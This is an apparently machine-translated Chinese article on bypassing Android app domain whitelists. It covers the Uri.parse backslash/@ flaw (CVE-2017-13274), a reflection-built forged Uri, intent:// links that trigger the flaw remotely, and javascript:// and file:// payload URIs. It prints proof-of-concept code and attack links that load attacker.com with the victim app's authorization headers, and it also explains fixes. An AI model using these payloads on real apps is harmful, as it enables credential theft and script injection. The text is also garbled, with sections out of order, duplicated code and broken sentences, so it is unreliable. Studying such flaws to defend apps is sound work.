应用开发者绕过Android域名白名单的方法和风险
许多Android组件都具有响应外部链接的能力。如果攻击者可以任意指定这些组件响应的 URL,他们就可以轻松控制所攻击的内容。如果APP打开钓鱼页面,就可以远程执行恶意js代码。因此,APP开发者需要对传入的URL进行检查,而将域名列入白名单是一种简单、常见且非常安全的保护方法。
但是,由于一些开发者对调用方式的基本特性并不完全熟悉,看似万无一失的白名单检查是没有意义的。本文列出了在 Android 上编写域名白名单的几种常见方法,并深入查看源代码以指出风险和解决方法。 ? LoadUrl() 性能不一致。如果测试跃点的目标是 legitimate.com
,但在启动时,浏览器会更正斜线以访问 attacker.com
。如果我们使用 equals() 进行完整的主机检查,我们应该怎么做?只需添加“@”来分隔非法前缀。
String url = "http://attacker.com\\@legitimate.com/smth";
Log.d("Wow", Uri.parse(url).getHost()); // 输出 legitimate.com!
webView.loadUrl(url, getAuthorizationHeaders()); // 加载 attacker.com!
1.2。根本原因分析
android.net.Uri
的parse()似乎包含安全错误。我们看一下代码定位问题...
[frameworks/base/core/java/android/net/Uri.java]
public static Uri parse(String uriString) {
return new StringUri(uriString);
}
继续看这个内部类StringUri
[frameworks/base/core/java/android/net/Uri.java]
private static class StringUri extends AbstractHierarchicalUri {
...
private StringUri(String uriString) {
this.uriString = uriString;
}
...
private Part getAuthorityPart() {
if (authority == null) {
String encodedAuthority
= parseAuthority(this.uriString, findSchemeSeparator());
return authority = Part.fromEncoded(encodedAuthority);
}
return authority;
}
...
static String parseAuthority(String uriString, int ssi) {
int length = uriString.length();
// If "//" follows the scheme separator, we have an authority.
if (length > ssi + 2
&& uriString.charAt(ssi + 1) == '/'
&& uriString.charAt(ssi + 2) == '/') {
// We have an authority.
// Look for the start of the path, query, or fragment, or the
// end of the string.
int end = ssi + 3;
LOOP: while (end < length) {
switch (uriString.charAt(end)) {
case '/': // Start of path
case '?': // Start of query
case '#': // Start of fragment
break LOOP;
}
end++;
}
return uriString.substring(ssi + 3, end);
} else {
return null;
}
}
}
这里很明显 在用户符号从宿主中被剪掉之前,内容被剪掉了,因为内容@就在这里。 @符号之后。 (这里其实还有一个错误,没有考虑多个@的情况) Google 在 2018 年 4 月 Android 安全公告中发布了针对此漏洞的补丁 CVE-2017-13274 通过 AndroidXRef 的请求,该补丁仅添加到 Oreo - 0_r 331 源代码中。因此,补丁日期早于2018-04-01的系统都会受到影响,谷歌一般会通过合同的方式要求OEM厂商确保在产品推出后的两年内及时打补丁。然后计算出它会影响运行 Android 6 及更高版本的系统。 PS:url包含多个@的情况也在2018年1月补丁CVE-2017-13176中修复 部分提到了@窃听功能,该功能会在用户信息中记录恶意地址前缀 我们还是看一下 inHerhierical Uri,因此很容易想到通过反射调用私有构造器Hierarchical Uri,构造权限和路径遍历,创建任意控制的Uri实例。继续看Part和PathPart类的构造方法: 按照如下方式构建PoC: logcat 输出: 在输出日志中可以看到,使用这种反射方法构建了一个Uri对象,可以使用check_v2方法进行三个测试 。 SchemeStringUri
后面的部分不知道权限,并且然后找到父类AbstractHierarchicalUri /
、StringUri
看到:
[frameworks/base/core/java/android/net/Uri.java]
private abstract static class AbstractHierarchicalUri extends Uri {
private String parseUserInfo() {
String authority = getEncodedAuthority();
int end = authority.indexOf('@');
return end == NOT_FOUND ? null : authority.substring(0, end);
}
...
private String parseHost() {
String authority = getEncodedAuthority();
// Parse out user info and then port.
int userInfoSeparator = authority.indexOf('@');
int portSeparator = authority.indexOf(':', userInfoSeparator);
String encodedHost = portSeparator == NOT_FOUND
? authority.substring(userInfoSeparator + 1)
: authority.substring(userInfoSeparator + 1, portSeparator);
return decode(encodedHost);
}
}
1.3。影响范围
2.Reflection调用HierarchicalUr构造Uri
2。检查用户信息
attacker.com
。现在如果我们修复一下检查方法,添加一个UserInfo检查,是不是就万无一失了呢? [check_v2]
Uri uri = getIntent().getData();
boolean isOurDomain = "https".equals(uri.getScheme()) &&
uri.getUserInfo() == null &&
"legitimate.com".equals(uri.getHost());
if (isOurDomain) {
webView.load(uri.toString(), getAuthorizationHeaders());
}
2.2。挖掘思路
android.net.Uri
的源码,发现除了StringUri之外,还有一个内部类HierarchicalUri,它也继承了AbstractHierarchicalUri[frameworks/base/core/java/android/net/Uri.java]
private static class StringUri extends AbstractHierarchicalUri {
...
private StringUri(String uriString) {
this.uriString = uriString;
}
...
private Part getAuthorityPart() {
if (authority == null) {
String encodedAuthority
= parseAuthority(this.uriString, findSchemeSeparator());
return authority = Part.fromEncoded(encodedAuthority);
}
return authority;
}
...
static String parseAuthority(String uriString, int ssi) {
int length = uriString.length();
// If "//" follows the scheme separator, we have an authority.
if (length > ssi + 2
&& uriString.charAt(ssi + 1) == '/'
&& uriString.charAt(ssi + 2) == '/') {
// We have an authority.
// Look for the start of the path, query, or fragment, or the
// end of the string.
int end = ssi + 3;
LOOP: while (end < length) {
switch (uriString.charAt(end)) {
case '/': // Start of path
case '?': // Start of query
case '#': // Start of fragment
break LOOP;
}
end++;
}
return uriString.substring(ssi + 3, end);
} else {
return null;
}
}
}
static class Part extends AbstractPart {
private Part(String encoded, String decoded) {
super(encoded, decoded);
}
}
static class PathPart extends AbstractPart {
private PathPart(String encoded, String decoded) {
super(encoded, decoded);
}
}
2.3。构建PoC
public void PoC() {
private static final String TAG = "PoC";
String attackerUri = "@attacker.com";
String legitimateUri = "legitimate.com";
try {
Class partClass = Class.forName("android.net.Uri$Part");
Constructor partConstructor = partClass.getDeclaredConstructors()[0];
partConstructor.setAccessible(true);
Class pathPartClass = Class.forName("android.net.Uri$PathPart");
Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
pathPartConstructor.setAccessible(true);
Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
hierarchicalUriConstructor.setAccessible(true);
Object authority = partConstructor.newInstance(legitimateUri, legitimateUri);
Object path = pathPartConstructor.newInstance(attackerUri, attackerUri);
Uri uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
Log.d(TAG, "Scheme: " + uri.getScheme());
Log.d(TAG, "UserInfo: " + uri.getUserInfo());
Log.d(TAG, "Host: " + uri.getHost());
Log.d(TAG, "toString(): " + uri.toString());
} catch (Exception e) {
throw new RuntimeException(e);
}
Intent intent = new Intent("android.intent.action.VIEW");
intent.setClassName(Victim_packageName, Victim_className);
intent.setData(uri);
intent.addFlags(268435456);
startActivity(intent);
}
07-07 19:00:36.765 9209 9209 D PoC : Scheme: https
07-07 19:00:36.765 9209 9209 D PoC : UserInfo: null
07-07 19:00:36.765 9209 9209 D PoC : Host: legitimate.com
07-07 19:00:36.765 9209 9209 D PoC : toString(): https://legitimate.com@attacker.com
UserInfo
和 Host
,但 toString() 方法的值为 ://leg it♸。 com@attacker.com是被攻击活动的实际地址。前面说过,@符号后面的attacker.com
成为最终可以访问的主机。
2.4。限制和解决方法
Android P 之后,Google 限制了非 sdk API @hide。 Android Studio 还会给出以下提示,并将此反射调用更改为失败并启动时出错。
不支持通过反射访问内部 API,并且可能无法在所有设备上工作或将来更少... (Ctrl+F1) 检查信息:使用反射访问 Android 的隐藏/私有 API 并不安全;它通常无法在其他供应商的设备上运行,并且可能会突然停止工作(如果 API 被删除)或突然崩溃(如果 API 的行为由于缺乏兼容性保证而发生变化)。问题 ID:PrivateApi
当前 — Android Q Beta 4,仍然有方法可以绕过此问题,而弄清楚如何绕过它超出了本文的范围。
2.5。修复方法
抵抗这种攻击的方法也很简单。只需将 parse() 添加到传入对象 Uri
,然后 check_v2。事实上,很多开发者并不理解这个特性,认为传入的 URL “正常”是由 Uri.parse()
构造的,并直接信任它。
3。远程访问方法1
我们知道,如果在组件中注册了intent-filter
,应用程序就可以响应浏览器应用程序或短信应用程序访问的外部链接。典型的配置写法如下。只有标签中指定的内容与Intent中包含的数据完全一致,当前的Activity才能响应该Intent。
<activity android:name=".DeeplinkActivity">
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https" android:host="legitimate.com"/>
</intent-filter>
</activity>
在前面的两种方法中,我们都是通过安装恶意应用或者ADB命令来发起攻击的。我们注意到 Android 属性 也通过
parsedIntent.getData().getHost ()
来匹配。很自然地,我们想到了远程使用它。
<!--
<a href="[scheme]://[host]/[path]?[query]">调用格式</a>
-->
<a href="https://attacker.com\\@legitimate.com/">Click Attack v1</a>
<a href="https://attacker.com%5C%5C@legitimate.com/">Click Attack v2</a>
但是对于第一个链接,浏览器会自动将斜杠“\”更正为斜杠“/”。对于第二个链接,反斜杠“\”保留在 URL 编码形式中,并且不能是 Launch 方法 1
。仔细研究了intent://scheme
的工作机制,我们发现可以通过以下方式保留反斜杠“\”:
PoC:
<a href="intent://not_used/#Intent;scheme=https://attacker.com\\@legitimate.com/;end">Click Attack v3</a>
源代码跟踪。可以看到,访问该链接相当于运行:
Uri.parse("https://attacker.com\\\\@legitimate.com/://not_used/")
,从而实现了方法1的远程执行版本。
4。缺乏架构验证
实践中,一些应用程序验证了主机,但未能验证架构。
您可以使用以下uri对js和文件域进行PoC:
javascript://legitimate.com/%0aalert(1)//
file://legitimate.com/sdcard/payload.html
版权声明
本文仅代表作者观点,不代表Code前端网立场。
本文系作者Code前端网发表,如需转载,请注明页面地址。
发表评论:
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。